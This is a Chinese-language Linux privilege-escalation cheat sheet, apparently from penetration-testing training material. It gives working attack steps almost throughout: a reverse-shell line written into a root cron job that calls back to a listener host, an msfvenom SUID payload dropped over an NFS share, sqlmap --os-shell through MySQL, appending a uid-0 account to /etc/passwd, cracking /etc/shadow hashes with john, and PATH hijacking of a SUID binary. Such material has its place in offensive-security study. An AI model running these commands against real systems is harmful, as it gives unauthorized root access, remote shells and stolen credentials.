1.5_Linux权限提升

脏牛提权

(CVE-2016-5195)

# 列出当前用户拥有sudo权限的命令
sudo -l 

# 选择 NOPASSWD 进行测试：
# 通过在线辅助网站选择sudo，查找命令 ：https://gtfobins.github.io/
# 执行，若是需要输入密码则不成功
# 执行成功返回 root权限
# 通过 id/whoami 查看用户权限

# 命令列出拥有suid权限的shell (3选1)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;       [推荐]

# 目标：属主为root用户，且拥有双s权限可提权,例：-rwsr-sr-x 1 root 

# 通过在线辅助网站选择sudo，查找命令 ：https://gtfobins.github.io/
# 执行除第一条外的语句
# 通过 id /whoami查看用户权限

计划任务文件权限配置错误，使普通用户也可以进行编辑

寻找root权限执行的计划任务：例：*/1 * * * * root /etc/cron.daily/backup

# 查看计划任务
cat /etc/crontab

# vi 或 vim 编辑找到的计划任务文件
例：vi /etc/cron.daily/backup

# 写入反弹shell的语句，经过其设置的更新时间 即可反弹到shell（注意操作系统）
例：/bin/sh -i >& /dev/tcp/192.168.56.1/555 0>&1

# 监听的操作系统使用nc监听
例：nc -lvnp 555

# 最后等待计划任务启动即可（root权限）
# 或是命令启动（拥有命令执行者的权限）
以上述为例，则直接运行 /etc/cron.daily/backup 即可

# 1. 通过nmap扫描对方开启nfs服务

# 2. 执行cat /etc/exports 如果没有内容，则无法提取

# kali 查看对方主机上是否有符合条件的 nfs 服务 
showmount -e 92.168.56.101

发现：
Export list for 192.168.56.101:
/home/peter *  

# kali 创建文件夹（文件名任意）
mkdir /home/peter/nfs 

# kali：将 /home/peter/nfs目录 挂载到需提权主机的 /home/peter 目录 
mount -o rw,vers=3 192.168.56.101:/home/peter /home/peter/nfs

# 移动到 /home/peter/nfs 目录下，创建木马，赋予其执行权限 cd /home/peter/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /home/peter/nfs/shell.elf 
chmod +xs shell.elf 

# 需提取主机运行，实现提权 
./shell.elf

# 完成操作后取消挂载
umount /home/peter/nfs

1. 有写入权限
2. 知道数据库的绝对路径
3. secure_file_priv=' '     show global variables like '%secure%'
4. 知道数据库的账户密码（数据库配置文件 或 history）
5. 数据库安装目录下有lib\plugin目录             select @@basedir

sqlmap -d "mysql://账户：密码@IP:端口/数据库名" --os-shell --batch

例：sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell --batch

# 查看 /etc/passwd 文件权限,普通用户是否具有写的权限（w）
ls -al /etc/passwd

# 生成密码
openssl passwd 123456  

# 将新用户写入 /etc/passwd (必须是单引号)
例：echo 'newroot:$1$8v.LChZq$qCWrrvnKGc7m7z0uwc/3m0:0:0:newroot:/root:/bin/bash' >> /etc/passwd

# 登录用户
su 用户名

# 其他 - /etc/shadow中不同加密方式开头
$1$  MD5加密
$5$  SHA-256加密
$6$  SHA-512加密

# 读取 /etc/shadow 文件
cat /etc/shadow

# 创建文件（文件名任意，记住文件位置）
touch hash.txt

# 取出 /etc/shadow 中要解码的用户信息，写入创建的文件
vim hash.txt

# 对 hash.txt 中的文件进行解码返回
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

系统中存在带有suid的文件，且这个文件中必须有系统命令

# 命令列出拥有suid权限的shell (3选1)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;       [推荐]

# 目标：属主为root用户，且拥有双s权限可提权,例：-rwsr-sr-x 1 root 
-rwsrwsr-x 1 root root 8384 Sep 11 09:58 /home/bob/shell

# 编辑.c文件（替换命令为suid执行的系统命令）

#include<unistd.h>
void main()
{
 setuid(0);
 setgid(0);
 system("ps");
}

# 编辑.c文件
gcc shell.c -o shell

# 修改文件的属主为root其修改文件添加s权限
chown root:root shell
chmod +s shell

# 命令列出拥有suid权限的shell (3选1)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;       [推荐]

# 目标：属主为root用户，且拥有双s权限可提权,例：-rwsr-sr-x 1 root 
-rwsrwsr-x 1 root root 8384 Sep 11 09:58 /home/bob/shell

# 将 SUID 提权命令写入ps文件中（文件名任意）
echo "命令" > ps
#例，写入/bin/bash
echo "/bin/bash" > ps

# 给创建的文件增加执行权限
chmod 777 ps

# 在创建文件路径下，添加临时环境变量 (终端关闭后失效)
export PATH=.:$PATH

# 执行 shell 相当于执行 上面写入的 /bin/bash 命令，实现提权
./shell



# 其他特殊的（保持当前环境变量不变<--preserve-env=PATH >，以root权限执行脚本<sudo>）
sudo --preserve-env=PATH 脚本路径